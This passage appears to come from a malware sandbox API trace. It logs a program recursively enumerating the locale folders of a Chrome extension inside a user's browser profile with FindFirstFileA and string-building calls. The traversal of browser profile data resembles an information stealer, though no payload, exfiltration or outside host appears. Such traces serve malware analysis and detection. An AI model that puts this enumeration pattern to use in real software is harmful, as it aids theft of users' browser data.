IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\th" [0056.344] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.344] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\th") returned 142 [0056.344] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\th") returned 142 [0056.344] lstrlenA (lpString="\\*.*") returned 4 [0056.344] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.344] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\th" [0056.344] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\th", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\th\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\th\\*.*" [0056.344] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\th\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.344] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.344] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.344] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.344] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.344] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.344] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.344] LocalFree (hMem=0x2dc218) returned 0x0 [0056.344] LocalFree (hMem=0x2dc100) returned 0x0 [0056.344] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.344] lstrcmpiA (lpString1=".", lpString2="tr") returned -1 [0056.344] lstrcmpiA (lpString1="..", lpString2="tr") returned -1 [0056.344] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.344] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.344] lstrlenA (lpString="\\") returned 1 [0056.345] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.345] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.345] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.345] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.345] lstrlenA (lpString="tr") returned 2 [0056.345] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.345] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.345] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\tr" [0056.345] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.345] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\tr") returned 142 [0056.345] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\tr") returned 142 [0056.345] lstrlenA (lpString="\\*.*") returned 4 [0056.345] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.345] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\tr" [0056.345] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\tr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\tr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\tr\\*.*" [0056.345] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\tr\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.345] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.345] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.345] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.345] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.345] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.345] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.345] LocalFree (hMem=0x2dc218) returned 0x0 [0056.345] LocalFree (hMem=0x2dc100) returned 0x0 [0056.345] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.345] lstrcmpiA (lpString1=".", lpString2="uk") returned -1 [0056.345] lstrcmpiA (lpString1="..", lpString2="uk") returned -1 [0056.345] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.345] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.345] lstrlenA (lpString="\\") returned 1 [0056.345] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.345] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.345] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.345] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.345] lstrlenA (lpString="uk") returned 2 [0056.345] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.345] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.345] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\uk" [0056.345] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.345] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\uk") returned 142 [0056.345] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\uk") returned 142 [0056.345] lstrlenA (lpString="\\*.*") returned 4 [0056.345] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.345] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\uk" [0056.345] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\uk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\uk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\uk\\*.*" [0056.345] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\uk\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.346] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.346] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.346] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.346] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.346] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.346] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.346] LocalFree (hMem=0x2dc218) returned 0x0 [0056.346] LocalFree (hMem=0x2dc100) returned 0x0 [0056.346] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.346] lstrcmpiA (lpString1=".", lpString2="vi") returned -1 [0056.346] lstrcmpiA (lpString1="..", lpString2="vi") returned -1 [0056.346] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.346] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.346] lstrlenA (lpString="\\") returned 1 [0056.346] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.346] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.346] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.346] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.346] lstrlenA (lpString="vi") returned 2 [0056.346] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.346] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.346] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\vi" [0056.346] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.346] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\vi") returned 142 [0056.346] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\vi") returned 142 [0056.346] lstrlenA (lpString="\\*.*") returned 4 [0056.346] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.346] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\vi" [0056.346] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\vi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\vi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\vi\\*.*" [0056.346] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\vi\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.346] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.346] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.346] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.346] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.346] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.347] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.347] LocalFree (hMem=0x2dc218) returned 0x0 [0056.347] LocalFree (hMem=0x2dc100) returned 0x0 [0056.347] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.347] lstrcmpiA (lpString1=".", lpString2="zh_CN") returned -1 [0056.347] lstrcmpiA (lpString1="..", lpString2="zh_CN") returned -1 [0056.347] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.347] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.347] lstrlenA (lpString="\\") returned 1 [0056.347] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.347] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.347] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.347] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.347] lstrlenA (lpString="zh_CN") returned 5 [0056.347] LocalAlloc (uFlags=0x40, uBytes=0x112) returned 0x2dc100 [0056.347] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.347] lstrcatA (in: lpString1="C:\\Users\\aDU0VK 